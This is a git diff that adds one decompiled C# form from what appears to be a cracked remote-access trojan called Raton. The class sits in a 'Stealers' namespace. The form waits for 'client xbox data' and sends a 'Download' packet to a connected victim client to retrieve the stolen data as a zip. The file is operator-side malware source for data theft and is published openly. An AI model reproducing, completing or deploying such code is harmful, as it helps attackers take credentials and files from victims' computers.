initial commit
This commit is contained in:
@@ -0,0 +1,121 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Stealers.ratonXbox
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Classes;
|
||||
using Raton.Forms.ClientForms.Misc;
|
||||
using Raton.Properties;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Stealers;
|
||||
|
||||
public class ratonXbox : Form
|
||||
{
|
||||
private IContainer components;
|
||||
public RgbBuildButton button1;
|
||||
public TextBox textBox1;
|
||||
public Label label1;
|
||||
private Timer timer1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonXbox()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void ratonXbox_Load(object sender, EventArgs e) => this.timer1.Start();
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
string str1 = Helpers.Random();
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Download");
|
||||
pack.SetString("File", this.textBox1.Text);
|
||||
pack.SetString("DUID", str1);
|
||||
string str2 = "File ID: ";
|
||||
if ((ratonFIle) Application.OpenForms[str2 + str1] != null)
|
||||
return;
|
||||
ratonFIle ratonFile = new ratonFIle();
|
||||
ratonFile.Name = str2 + str1;
|
||||
ratonFile.Text = str2 + str1;
|
||||
ratonFile.SillyClient = this.SillyClient;
|
||||
ratonFile.Show();
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonXbox));
|
||||
this.button1 = new RgbBuildButton();
|
||||
this.textBox1 = new TextBox();
|
||||
this.label1 = new Label();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.SuspendLayout();
|
||||
this.button1.Cursor = Cursors.Arrow;
|
||||
this.button1.Font = new Font("Segoe UI Semibold", 10.5f);
|
||||
this.button1.ForeColor = Color.White;
|
||||
this.button1.Icon = (Image) Resources.ic_fluent_folder_zip_24_filled;
|
||||
this.button1.IconSize = 25;
|
||||
this.button1.IconSpacing = 8;
|
||||
this.button1.Location = new Point(12, 62);
|
||||
this.button1.Name = "button1";
|
||||
this.button1.Size = new Size(543, 46);
|
||||
this.button1.TabIndex = 11;
|
||||
this.button1.Text = "Download zip";
|
||||
this.button1.Click += new EventHandler(this.button1_Click);
|
||||
this.textBox1.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.textBox1.Enabled = false;
|
||||
this.textBox1.Location = new Point(12, 33);
|
||||
this.textBox1.Name = "textBox1";
|
||||
this.textBox1.Size = new Size(543, 20);
|
||||
this.textBox1.TabIndex = 10;
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label1.Location = new Point(12, 14);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(194, 16 /*0x10*/);
|
||||
this.label1.TabIndex = 9;
|
||||
this.label1.Text = "Waiting for the client xbox data...";
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(567, 122);
|
||||
this.Controls.Add((Control) this.button1);
|
||||
this.Controls.Add((Control) this.textBox1);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonXbox);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonXbox);
|
||||
this.Load += new EventHandler(this.ratonXbox_Load);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user